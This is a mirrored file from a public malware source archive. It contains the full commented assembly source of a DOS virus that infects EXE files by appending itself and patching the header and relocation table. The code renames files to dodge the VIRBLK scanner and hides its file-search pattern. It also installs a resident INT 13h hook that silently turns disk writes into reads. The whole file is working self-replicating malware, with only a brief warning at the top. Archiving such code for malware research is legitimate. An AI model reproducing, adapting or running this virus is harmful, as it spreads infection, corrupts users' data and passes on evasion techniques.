mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
724 lines
28 KiB
NASM
724 lines
28 KiB
NASM
;--------------------------------------------------------------------;
|
||
; ;
|
||
; EXE virus, with resident part ;
|
||
; ;
|
||
; ---- infecting program ---- ;
|
||
; ;
|
||
;--------------------------------------------------------------------;
|
||
|
||
;--------------------------------------------------------------------;
|
||
; ;
|
||
; WARNING : it's definitely NOT safe to assemble and execute ;
|
||
; this code. If anybody has to, I highly reccomend using ;
|
||
; a diskette and debugger. ;
|
||
; ;
|
||
;--------------------------------------------------------------------;
|
||
|
||
;*********************************************************************
|
||
|
||
;--------------------------------------------------------------------;
|
||
; ;
|
||
; The EXE virus concept is as follows: ;
|
||
; ;
|
||
; First, original Disk Transfer Address is preserved to avoid ;
|
||
; changing command-line text. Also initial values of CS, IP, SS, SP ;
|
||
; DS and ES are saved (to be restored on exit from virus code). ;
|
||
; Virus is to be appended to original code and, of course, has ;
|
||
; to be relocated before it's executed. Thus, first we look for ;
|
||
; an EXE file. Then we have to know if this is in fact an EXE ;
|
||
; (checking for magic 'MZ' signature) and if there is any free space ;
|
||
; in relocation table. This is checked by substracting relocation ;
|
||
; table end (i.e. sum of table start and number of relocation items, ;
|
||
; multiplied by table entry size) from EXE header size. ;
|
||
; Smart virus shouldn't infect a file that's already infected. ;
|
||
; So first 4 bytes of code to be executed is compared against ;
|
||
; virus code. If they match one another, no infection takes place. ;
|
||
; Having found suitable file, we compute its code end and append ;
|
||
; virus at the end of code, writing alignment to last 512-bytes page ;
|
||
; boundary if necessary. Original start address is preserved inside ;
|
||
; virus, and CS:IP value in EXE header gets changed, so that virus ;
|
||
; code would be executed first. Number of pages gets changed, ;
|
||
; together with Last Page Size and Number Of Relocation Items. ;
|
||
; New relocation item address is appended to relocation table, ;
|
||
; pointing to the segment of the far jump in virus (this is the jump ;
|
||
; virus uses to return to original code). ;
|
||
; Upon returning from virus, all saved registers and DTA are ;
|
||
; restored to reestablish environment state as if no virus existed. ;
|
||
; ;
|
||
; Virus also installs resident part, if it is not already present. ;
|
||
; This part's job is to replace all disk 'writes' with corresponding ;
|
||
; 'reads'. It's rather unharmful, but can easily be replaced with ;
|
||
; more dangerous one (if somebody is really keen to be called ...). ;
|
||
; Instalation can be removed with equal ease, as well. ;
|
||
; ;
|
||
; The real trouble with EXEs is that DOS pays a little (if any) ;
|
||
; attention to Last Page Size. Therefore EXE files ofen have this ;
|
||
; zeroed, even if they have some code on the last page. Writing to ;
|
||
; last page can cause system crash while infected file is being ;
|
||
; executed. To solve the problem, one should first test if EXE file ;
|
||
; really ends as the header contents say and move to last page end ;
|
||
; instead of appending any bytes, if possible. ;
|
||
; ;
|
||
; Another problem is infecting EXEs containg debug info. ;
|
||
; It comes in various formats, and often contains vital informations ;
|
||
; placed behind code. This info gets destroyed when file becomes ;
|
||
; infected. I see no solution to this problem, so far. ;
|
||
; ;
|
||
;--------------------------------------------------------------------;
|
||
|
||
;********************************************************************;
|
||
|
||
;--------------------------------------------------------------------;
|
||
; ;
|
||
; SEGMENT dummy ;
|
||
; ;
|
||
; Raison d'etre of this segment is to force assembling of ;
|
||
; the JMP FAR after the execution of virus code. ;
|
||
; ;
|
||
; This segment serves also to make it possible for the infecting ;
|
||
; program to return to DOS. ;
|
||
; ;
|
||
;--------------------------------------------------------------------;
|
||
|
||
|
||
dummy segment 'dummy'
|
||
|
||
assume cs: dummy
|
||
|
||
d_end label far ; this is the point virus jumps to
|
||
; after executing itself
|
||
mov ah, 4Ch
|
||
int 21h ; DOS EXIT function
|
||
|
||
dummy ends
|
||
|
||
;--------------------------------------------------------------------;
|
||
; ;
|
||
; SEGMENT code ;
|
||
; ;
|
||
; Code for virus (including its resident part). ;
|
||
; ;
|
||
; Executed from label start:. Exits via dummy:d_end. ;
|
||
; ;
|
||
;--------------------------------------------------------------------;
|
||
|
||
code segment 'code'
|
||
|
||
public start, jump, old_IP, old_CS, old_DTA,
|
||
public next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
|
||
public last_page, page_count, item_count, header_size, table_start
|
||
public header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
|
||
public not_ok, time, date, attributes, new_name, found_name
|
||
public restore_and_close, dot, seek_dot, next_letter, install_flag
|
||
public next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
|
||
public resident, resident_size, l1, call_int, install, set_DS
|
||
|
||
assume cs : code, ds : code
|
||
|
||
;--------------------------------------------------------------------;
|
||
; ;
|
||
; Here are symbolic names for memory locations ;
|
||
; ;
|
||
;--------------------------------------------------------------------;
|
||
|
||
; First go names for EXE header contents
|
||
|
||
EXE_sign equ word ptr [header]
|
||
last_page equ word ptr [header + 2]
|
||
page_count equ word ptr [header + 4]
|
||
item_count equ word ptr [header + 6]
|
||
header_size equ word ptr [header + 8]
|
||
header_SS equ word ptr [header + 0Eh]
|
||
header_SP equ word ptr [header + 10h]
|
||
header_IP equ word ptr [header + 14h]
|
||
header_CS equ word ptr [header + 16h]
|
||
table_start equ word ptr [header + 18h]
|
||
|
||
; Now names for address of mother program
|
||
|
||
old_IP equ word ptr [jump + 1]
|
||
old_CS equ word ptr [jump + 3]
|
||
|
||
; Segment to put resident part in, for instance end of 2nd Hercules page
|
||
|
||
resident_CS equ 0BFFEh
|
||
|
||
; And label for the name of the file found by Find_First and Find_Next
|
||
|
||
found_name equ DTA + 1Eh
|
||
|
||
; Last is virus length
|
||
|
||
virus_length equ offset header
|
||
|
||
;------------ Now starts virus code --------------------------------;
|
||
|
||
; First original values of SS, SP, ES, DS are preserved,
|
||
; and new values for this registers are set
|
||
|
||
start: mov cx, ss ; temporarily save SS in CX
|
||
mov dx, sp ; and SP in DX
|
||
|
||
mov ax, cs ; now AX = CODE
|
||
cli ; disable hard ints while changing stack
|
||
mov ss, ax ; now SS = CODE
|
||
mov sp, 0FFFFh ; and SS points to segment end
|
||
sti ; hardware interrupts are OK now
|
||
|
||
push ds ; preserve DS on stack
|
||
push es ; same with ES
|
||
|
||
push cs
|
||
pop ds ; set DS to CODE
|
||
|
||
mov [old_SS], cx ; now as DS is CODE, we can store
|
||
mov [old_SP], dx ; original SS and SP in memory
|
||
|
||
; Original DTA is preserved now
|
||
|
||
mov ah, 2Fh
|
||
int 21h
|
||
mov word ptr [old_DTA], bx ; now ES:BX points to DTA
|
||
mov word ptr [old_DTA + 2], es ; save its address in memory
|
||
|
||
; Call to Get_DTA would have destroyed ES. Now set it
|
||
|
||
push ds ; set ES to CODE
|
||
pop es
|
||
|
||
; And now new DTA is established for virus disk actions
|
||
|
||
mov dx, offset DTA ; DS:DX point to new DTA
|
||
mov ah, 1Ah
|
||
int 21h
|
||
|
||
; Store original INT_13 vector for use in resident part
|
||
|
||
mov ax, 3513h
|
||
int 21h ; DOS Get_Interrupt_Vector function
|
||
|
||
mov [int_IP], bx ; now ES:BX holds INT_13 vector
|
||
mov [int_CS], es ; store it inside resident part
|
||
|
||
; Check if resident part already present
|
||
|
||
mov ax, es ; compare can work with AX
|
||
|
||
cmp ax, resident_CS ; check if this is resident_CS
|
||
jnz install ; no, so install
|
||
|
||
cmp bx, 0 ; is offset 0 ?
|
||
jnz install ; no, so install
|
||
|
||
; Resident part found, do not install
|
||
|
||
mov [install_flag], 0 ; signal 'no installing'
|
||
|
||
jmp short set_ES ; and omit copying code
|
||
|
||
; Now resident part is moved to its place in memory
|
||
|
||
install: mov ax, resident_CS
|
||
mov es, ax ; ES = segment for resident part
|
||
xor di, di ; DI = 0, resident starts from offset 0
|
||
mov si, offset resident ; SI = offset in DS for resident part
|
||
mov cx, resident_size ; CX = size of resident part
|
||
|
||
cld ; set auto increment
|
||
rep movsb ; copy resident part from DS:SI to ES:DI
|
||
|
||
mov [install_flag], 1 ; signal 'instal vector'
|
||
|
||
; Reestablish destroyed ES to CODE
|
||
|
||
set_ES: push ds
|
||
pop es
|
||
|
||
; Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
|
||
|
||
mov si, offset file_name ; name pattern starts there
|
||
mov cx, 5 ; and is 5 bytes long
|
||
|
||
next_letter: inc byte ptr [si] ; decode by incrementing by one
|
||
inc si
|
||
loop next_letter ; decode all 5 bytes
|
||
|
||
; Find an EXE file
|
||
|
||
mov dx, offset file_name ; DS:DX points to '*.EXE'
|
||
mov cx, 20h ; search for read-only files too
|
||
|
||
mov ah, 4Eh ; DOS Find_First function
|
||
int 21h ; now DTA gets filled with info
|
||
|
||
jnc check ; no carry means file found
|
||
; jump to check if to infect file
|
||
|
||
jmp exit ; no EXE file - nothing to do
|
||
|
||
; Find next EXE file, if necessary
|
||
|
||
next: mov ah, 4Fh ;DOS Find_Next function
|
||
int 21h
|
||
|
||
jnc check ; see jumps after Find_First
|
||
jmp exit ; for explanation
|
||
|
||
; Check if file should and can be infected
|
||
|
||
; First of all, get file attributes
|
||
|
||
check: mov dx, offset found_name ; DS:DX points to found file name
|
||
|
||
mov ax, 4300h ; DOS Get_File_Attributes function
|
||
int 21h ; attributes returned in CX
|
||
|
||
mov [attributes], cx ; preserve them in memory
|
||
|
||
; Then change file attributes to 'neutral'
|
||
|
||
mov dx, offset found_name ; DS:DX points to found file name
|
||
xor cx, cx ; CX = 0 - means no attributes set
|
||
|
||
mov ax, 4301h ; DOS Set_File_Attributes function
|
||
int 21h ; attributes to be set in CX
|
||
|
||
; To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
|
||
|
||
mov si, offset found_name ; DS:DX points to found file name
|
||
mov di, offset new_name ; ES:DI points to new name
|
||
|
||
cld ; set auto increment
|
||
|
||
; Copy old name to new name until dot found
|
||
|
||
seek_dot: lodsb ; get character at DS:SI
|
||
cmp al, '.' ; check if it is a dot
|
||
stosb ; copy it anyway to ES:DI
|
||
|
||
jz dot ; dot found, end of copying
|
||
|
||
loop seek_dot ; if no dot, copy next character
|
||
|
||
; DOS requires ASCIIZ strings, so append a byte of 0 to new name
|
||
|
||
dot: xor al, al ; AL = 0
|
||
stosb ; store 0 to byte at ES:DI
|
||
|
||
; Now rename can be performed
|
||
|
||
mov dx, offset found_name ; DS:DX points to old name
|
||
mov di, offset new_name ; ES:DI points to new name
|
||
|
||
mov ah, 56h ; DOS Rename_File function
|
||
int 21h
|
||
|
||
; It is safe to open file now
|
||
|
||
mov dx, offset new_name ; DS:DX points to file name
|
||
|
||
mov ax, 3D02h ; DOS Open_File_Handle fuction
|
||
int 21h ; open file for reading and writing
|
||
|
||
jc next ; carry set means for some reason
|
||
; operation failed
|
||
; try to find next file
|
||
|
||
; Preserve handle for just open file in BX register
|
||
|
||
mov bx, ax ; all DOS calls require handle in BX
|
||
|
||
; Now store original file time and date, to be restored on closing the file
|
||
|
||
mov ax, 5700h ; DOS Get_File_Time_Date function
|
||
int 21h ; time returned in CX, date in DX
|
||
|
||
mov [time], cx ; store time in memory
|
||
mov [date], dx ; same with date
|
||
|
||
; Read EXE header to memory
|
||
|
||
mov dx, offset header ; DS:DX = place to read header to
|
||
mov cx, 1Ah ; header is 1Ah bytes long
|
||
|
||
mov ah, 3Fh ; DOS Read_Handle function
|
||
int 21h
|
||
|
||
; Check if it is a real EXE, not just EXE-named file
|
||
|
||
check_EXE: cmp EXE_sign, 5A4Dh ; first two bytes of header should
|
||
; contain 'MZ' characters
|
||
|
||
jne not_ok ; if not, don't proceed with file
|
||
|
||
; It is EXE, check if it is already infected
|
||
; by comparing code start with itself
|
||
|
||
; Compute where code in file starts
|
||
|
||
mov ax, [header_CS] ; get start CS for file
|
||
add ax, [header_size] ; add header size
|
||
|
||
mov cx, 16 ; above were in 16 bytes units
|
||
mul cx ; so multiply by 16
|
||
; DX|AX holds result
|
||
|
||
add ax, [header_IP] ; add for IP
|
||
adc dx, 0 ; propagate carry if necessasry
|
||
|
||
; Now DX|AX holds file offset for code start, move there
|
||
|
||
mov cx, dx ; set registers for DOS call
|
||
mov dx, ax
|
||
|
||
mov ax, 4200h ; DOS Move_File_Ptr function
|
||
int 21h ; move relatively to start
|
||
|
||
; Read first four bytes of code
|
||
|
||
mov dx, offset aux ; DS:DX = place to read code into
|
||
mov cx, 4 ; CX = number of bytes to read
|
||
|
||
mov ah, 3Fh ; DOS Read_Handle function
|
||
int 21h
|
||
|
||
; Compare them with itself
|
||
|
||
mov di, offset aux ; ES:DI points to code from file
|
||
mov si, offset start ; DS:SI points to itself start
|
||
mov cx, 2 ; CX = number of words to compare
|
||
cld ; set auto increment
|
||
|
||
repe cmpsw ; compare while equal
|
||
|
||
je not_ok ; equal = infected, don't proceed
|
||
|
||
; Check if there is space in relocation table to put one more item
|
||
|
||
; Calculate where Relocation_Table ends
|
||
|
||
mov ax, [item_count] ; get number of Relocation Items
|
||
inc ax ; add for new one
|
||
mov cx, 4 ; each one is 4 bytes long
|
||
mul cx ; so multiply by 4
|
||
; DX|AX holds result
|
||
|
||
add ax, [table_start] ; add offset of Relocation_Table
|
||
adc dx, 0 ; process carry
|
||
|
||
; Now DX|AX holds file offset for table end, store it temporarily in DI|SI
|
||
|
||
mov di, dx ; preserve Relocation_Table offset
|
||
mov si, ax
|
||
|
||
; Calculate where code starts (in file)
|
||
|
||
mov ax, [header_size] ; get header size for this EXE
|
||
mov cx, 10h ; as it is in 16 byte units,
|
||
mul cx ; multiply by 16
|
||
; DX|AX holds result
|
||
|
||
; See if there is free space for relocation item
|
||
|
||
sub ax, si ; substract Relocation_Table end
|
||
sbb dx, di
|
||
|
||
jae ok ; Relocation_Table end not less
|
||
; then code start, so there IS room
|
||
|
||
; If somehow this file is not to be infected, restore it's original state
|
||
|
||
not_ok: call restore_and_close
|
||
|
||
jmp next ; nevertheless, try to find infectable one
|
||
|
||
; File is to be infected now
|
||
|
||
; First adjust file offset for new relocation item
|
||
|
||
ok: sub si, 4 ; new item starts 4 bytes
|
||
sbb di, 0 ; before Relocation_Table end
|
||
|
||
; Then preserve temporarily address of the mother code
|
||
|
||
mov ax, [old_CS] ; preserve jump address via AX
|
||
mov [aux_CS], ax ; in memory
|
||
mov ax, [old_IP]
|
||
mov [aux_IP], ax
|
||
|
||
; Form inside itself a jump to new mother start
|
||
|
||
mov ax, [header_IP] ; store new mother CS:IP as jump
|
||
mov [old_IP], ax ; do it via AX
|
||
mov ax, [header_CS]
|
||
mov [old_CS], ax
|
||
|
||
; Calculate last page alignment
|
||
|
||
mov cx, [last_page] ; CX = number of bytes in last page
|
||
mov ax, 200h ; AX = page size (page is 512 bytes)
|
||
|
||
sub ax, cx ; CX = alignment to page boundary
|
||
|
||
mov bp, ax ; preserve alignment in BP
|
||
|
||
; Calculate new CS:IP values to execute virus instead of mother
|
||
|
||
mov ax, [page_count] ; get number of pages in new mother
|
||
mov cx, 20h ; multiply by 32 to convert to
|
||
mul cx ; 16 bytes units
|
||
|
||
sub ax, [header_size] ; decrease by header size
|
||
|
||
; Modify header as necessary
|
||
|
||
mov [header_CS], ax ; AX holds CS for virus
|
||
xor ax, ax ; now zero AX
|
||
mov [header_IP], ax ; as IP for virus is 0
|
||
|
||
add [page_count], 2 ; reserve space for virus
|
||
|
||
inc [item_count] ; there'll be one more item
|
||
|
||
mov [last_page], offset header ; last page will be as long
|
||
; as virus itself
|
||
and [last_page], 1FFh ; modulo 512, of course
|
||
|
||
; Move to file start
|
||
|
||
xor cx, cx ; start means offset 0
|
||
xor dx, dx
|
||
|
||
mov ax, 4200h ; DOS Move_File_Ptr function
|
||
int 21h ; move relatively to start
|
||
|
||
; Write new header
|
||
|
||
mov dx, offset header ; DS:DX points to new header
|
||
mov cx, 1Ah ; which is still 1A bytes long
|
||
|
||
mov ah, 40h ; DOS Write_Handle function
|
||
int 21h
|
||
|
||
; Move to new Relocation Item position
|
||
|
||
mov cx, di ; get stored position from DI|SI
|
||
mov dx, si
|
||
|
||
mov ax, 4200h ; DOS Move_File_Ptr function
|
||
int 21h ; move relatively to start
|
||
|
||
; Write new relocation item
|
||
|
||
mov [header_IP], offset old_CS ; new Relocation Item offset
|
||
; is jump to new mother code
|
||
|
||
mov dx, offset header_IP ; DS:DX = new relocation item
|
||
mov cx, 4 ; exactly 4 bytes long
|
||
|
||
mov ah, 40h ; DOS Write_Handle function
|
||
int 21h
|
||
|
||
; Calculate file offset for new mother code end
|
||
|
||
mov ax, [header_CS] ; get mother code lenght
|
||
add ax, [header_size] ; add header size
|
||
mov cx, 10h ; it's in 16 bytes units
|
||
mul cx ; so multiply by 16
|
||
|
||
sub ax, bp ; last page is not full
|
||
sbb dx, 0 ; so move back appropirately
|
||
|
||
; Move file ptr to mother code end
|
||
|
||
mov cx, dx ; DX|AX = file offset to code end
|
||
mov dx, ax ; set CX|DX for DOS call
|
||
|
||
mov ax, 4200h ; DOS Move_File_Ptr function
|
||
int 21h ; move relatively to start
|
||
|
||
; Write alignement (no matter what, only number is important)
|
||
|
||
mov cx, bp ; get alignement amount
|
||
|
||
mov ah, 40h ; DOS Write_Handle function
|
||
int 21h ; write CX bytes
|
||
|
||
; Now prepare to append itself to EXE file
|
||
|
||
; First encode EXE name patter anew
|
||
|
||
mov si, offset file_name ; DS:SI points to name pattern
|
||
mov cx, 5 ; it is 5 characters long
|
||
|
||
next_lttr: dec byte ptr [si] ; encode by decrement
|
||
inc si
|
||
loop next_lttr ; encode all 5 characters
|
||
|
||
; All ready, append itself now
|
||
|
||
xor dx, dx ; DX = 0, start offset for virus code
|
||
mov cx, virus_length ; CX = number of bytes to write
|
||
|
||
mov ah, 40h ; DOS Write_Handle function
|
||
int 21h
|
||
|
||
; No further action involving file will be taken, so restore it's state
|
||
|
||
call restore_and_close ; restore date and time, close file
|
||
|
||
; Restore jump to this mother code
|
||
|
||
mov ax, [aux_CS] ; restore jump addres via AX
|
||
mov [old_CS], ax
|
||
mov ax, [aux_IP]
|
||
mov [old_IP], ax
|
||
|
||
; All done with infecting, prepare to execute mother
|
||
|
||
; Restore original DTA
|
||
|
||
push ds ; preserve DS (now DS = CODE)
|
||
|
||
exit: lds dx, old_DTA ; get original DTA address to DS:DX
|
||
|
||
mov ah, 1Ah ; DOS Set_DTA function
|
||
int 21h
|
||
|
||
; Check if install new INT_13 vector
|
||
|
||
cmp [install_flag], 0 ; 0 means no installing
|
||
|
||
jz set_DS ; omit installing
|
||
|
||
; Install resident part
|
||
|
||
mov ax, resident_CS ; load CS for resident to DS (via AX)
|
||
mov ds, ax
|
||
xor dx, dx ; DS:DX = address of resident part
|
||
|
||
mov ax, 2513h ; DOS Set_Interrupt_Vector function
|
||
int 21h ; set vector for INT_13
|
||
|
||
set_DS: pop ds ; restore DS to CODE
|
||
|
||
mov bx, [old_SS] ; BX = original SS
|
||
mov cx, [old_SP] ; CX = original SP
|
||
|
||
pop es ; restore original DS and ES
|
||
pop ds
|
||
|
||
cli ; disable hardware interrupts
|
||
mov sp, cx ; while restoring original SS:SP
|
||
mov ss, bx
|
||
sti ; enable hardware interrupts
|
||
|
||
; Virus has done all its job, now let mother do its own
|
||
|
||
jump: jmp dummy:d_end ; jump to original code
|
||
|
||
|
||
;----------- here is the one and only procedure -------------------;
|
||
|
||
restore_and_close proc near
|
||
|
||
; Restore original file time and date
|
||
|
||
mov cx, [time] ; get saved time
|
||
mov dx, [date] ; get saved date
|
||
|
||
mov ax, 5701h ; DOS Set_File_Time_Date function
|
||
int 21h ; time set as CX, date as DX
|
||
|
||
; Close file
|
||
|
||
mov ah, 3Eh ; DOS Close_File function
|
||
int 21h
|
||
|
||
; Restore original name
|
||
|
||
mov dx, offset new_name ; DS:DX points to new name
|
||
mov di, offset found_name ; ES:DI points to original name
|
||
|
||
mov ah, 56h ; DOS Rename_File function
|
||
int 21h
|
||
|
||
; Restore original file attributes
|
||
|
||
mov dx, offset found_name ; restore attributes
|
||
mov cx, [attributes]
|
||
|
||
mov ax, 4301h ; DOS Set_File_Attributes function
|
||
int 21h ; attributes set as CX
|
||
|
||
ret
|
||
|
||
restore_and_close endp
|
||
|
||
|
||
;------------ and here go the resident part of the virus -------------;
|
||
|
||
resident: pushf ; save flags
|
||
|
||
cmp ah, 3 ; is it Disk_Write_1 ?
|
||
jnz l1 ; no, check Disk_Write_2
|
||
|
||
mov ah, 2 ; yes, convert to Disk_Read_1
|
||
jmp short call_int ; and exit resident
|
||
|
||
l1: cmp ah, 0Bh ; is it Disk_Write_2 ?
|
||
jnz call_int ; no, exit resident
|
||
|
||
mov ah, 0Ah ; yes, convert to Disk_Read_2
|
||
|
||
call_int: popf ; restore flags
|
||
|
||
|
||
; Next 5 bytes form long jump to original INT_13 handler
|
||
|
||
db 0EAh ; means JMP FAR
|
||
|
||
int_IP dw 0 ; and here the address to jump to
|
||
int_CS dw 0
|
||
|
||
resident_size equ $ - resident
|
||
|
||
;-------- now data for virus, just encoded file name pattern -------;
|
||
|
||
file_name db ')-DWD', 0
|
||
|
||
;-------------------------------------------------------------------;
|
||
; ;
|
||
; Here VIRUS ends. The rest are purely placeholders ;
|
||
; ;
|
||
;-------------------------------------------------------------------;
|
||
|
||
;*******************************************************************;
|
||
|
||
header dw 13 dup (0)
|
||
|
||
old_SS dw 0
|
||
old_SP dw 0
|
||
|
||
aux_CS dw 0
|
||
aux_IP dw 0
|
||
|
||
old_DTA dd 0
|
||
|
||
time dw 0
|
||
date dw 0
|
||
|
||
attributes dw 0
|
||
|
||
install_flag db 0
|
||
|
||
new_name db 9 dup (0)
|
||
|
||
DTA dw 2Ch dup (0)
|
||
|
||
aux dw 2 dup (0)
|
||
|
||
code ends
|
||
|
||
end start
|
||
|